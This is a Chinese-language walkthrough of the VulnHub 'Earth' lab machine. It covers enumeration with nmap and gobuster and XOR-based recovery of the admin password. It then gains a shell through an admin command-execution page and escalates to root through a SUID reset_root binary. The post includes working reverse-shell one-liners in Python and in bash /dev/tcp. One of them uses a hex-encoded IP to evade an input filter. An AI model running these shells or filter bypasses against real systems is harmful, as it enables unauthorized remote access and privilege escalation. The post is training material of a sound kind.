靶机练习No.2 VulnHub靶场Earth

395 阅读12分钟

**声明:**文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究


靶机信息

下载地址:

https://www.vulnhub.com/entry/the-planets-earth,755/

难度:简单

发布时间: 2021年11月2日

提示信息: Earth is an easy box though you will likely find it more challenging than "Mercury" in this series and on the harder side of easy, depending on your experience. There are two flags on the box: a user and root flag which include an md5 hash. This has been tested on VirtualBox so may not work correctly on VMware. Any questions/issues or feedback please email me at: SirFlash at protonmail.com, though it may take a while for me to get back to you.

百度翻译:

地球是一个容易的盒子,尽管在本系列中,你可能会发现它比水星更具挑战性,而且在容易的一面,这取决于你的经验。该框上有两个标志:用户标志和根标志,其中包括md5哈希。


信息收集

nmap

sudo nmap -sP 192.168.7.1/24

图片

获取主机地址为192.168.7.228

扫描端口

sudo nmap -sC -sV -p- 192.168.7.228 -oN Earth

扫描到3个端口,22/80/443,443下绑定两个域名

图片


WEB渗透

访问WEB

80端口返回一个错误页面

图片

443端口返回一个静态页面

图片

绑定域名访问一下

sudo vi /etc/hosts

图片

页面内有两个输入框给地球发消息,随便输入了些内容,感觉像异或算法

图片

目录扫描

目录扫描earth.local下面扫到一个admin目录,点击登陆是一个简单的登录页面

gobuster dir -u https://earth.local -w /usr/share/dirb/wordlists/big.txt -x .php,.txt,.zip -k

图片

图片

图片

没发现什么有用的东西,继续目录扫描terratest.earth.local试试

gobuster dir -u https://terratest.earth.local -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.txt,.zip -k

图片

只扫到一个robots.txt访问看看

图片

发现一个文件但不知道后缀,手输几个发现是.txt(这里面是比较少的情况下所以手输没问题,如果多的话可以写个for循环之类的自动访问看返回statuscode)

访问后看到提示果然有些异或的东西作为密码,还提示到字典文件testdata.txt并且管理员帐号是terra

图片

先看下testdata.txt竟然是一段地球的介绍,不用想肯定是加密字典

图片

去看下首页那些字符串

37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40

3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45

2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a

再把字典下载下来

wget https://terratest.earth.local/testdata.txt --no-check-certificate

图片

开始解密

拿一组数据与testdata.txt异或运算

写个python脚本

import binascii

key = "3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45"

testdata = binascii.b2a_hex(open('testdata.txt','rb').read()).decode()

print(hex(int(key,16) ^ int(testdata,16)))

得到16进制数据,可以看到是一段循环的内容"6561727468636c696d6174656368616e67656261643468756d616e73"

0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174

在线找个16进制转文本得到值就是"earthclimatechangebad4humans"

图片

回到网站后台登录页面,使用帐号terra密码earthclimatechangebad4humans进行登录

反弹shell

图片

来到一个命令执行的页面,话不多说先来个反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.7.3",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

竟然还有输入限制,前台直接去掉限制

图片

提示禁止远程连接

图片

不让反弹shell,那就先找找网站下面有什么文件

ls /var/www/html/terratest.earth.local

图片

后台不在这里,再找找,发现可疑目录/var/earth_web

ls /var

图片

目录下面还有个user_flag.txt,里面是一个flag,后面没找到有用的东西

图片

图片

试着将反弹shell写入到某个文件中,发现同样提示禁止远程连接,这样看来是对反弹shell某个内容做了过滤

图片

看源码,看了下views.py没什么有用的信息,再看forms.py有发现

图片

这样不好看,修改一下可以看到对IP地址中的数字进行匹配

图片

因为他对数字匹配,那我们把IP改成带字母的绕过他,用16进制绕过

图片

bash -i >& /dev/tcp/0xc0.0xa8.0x07.0x03/4444 0>&1

成功反弹

图片

使用完整的shell

python -c 'import pty;pty.spawn('/bin/bash')'
export TERM=xterm
Ctrl+z
stty -a
stty raw -echo;fg
               reset
stty rows 20 columns 109
注意rows 20与columns 109 是输入stty -a反馈回显的内容

图片

图片


权限提升

find查找有权限的文件

find / -perm -u=s -type f 2>/dev/null

发现一个看起来可以提权的文件reset_root

图片

执行一下报错了,靶机上没有工具,把他下载到kali中分析一下

图片

使用strace调试,发现三个文件路径,如果没有则报出错误

strace /home/kali/reset_root

图片

查看下这三个文件所在目录,没有任何文件

图片

没有那就创建这三个文件

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

图片

创建完成,再次执行reset_root,提示重置了root密码为Earth

图片

切换用户,拿到root权限

图片

在/root目录下找到root_flag.txt文件

成功拿到第二个flag [root_flag_b0da9554d29db2117b02aa8b66ec492e]

图片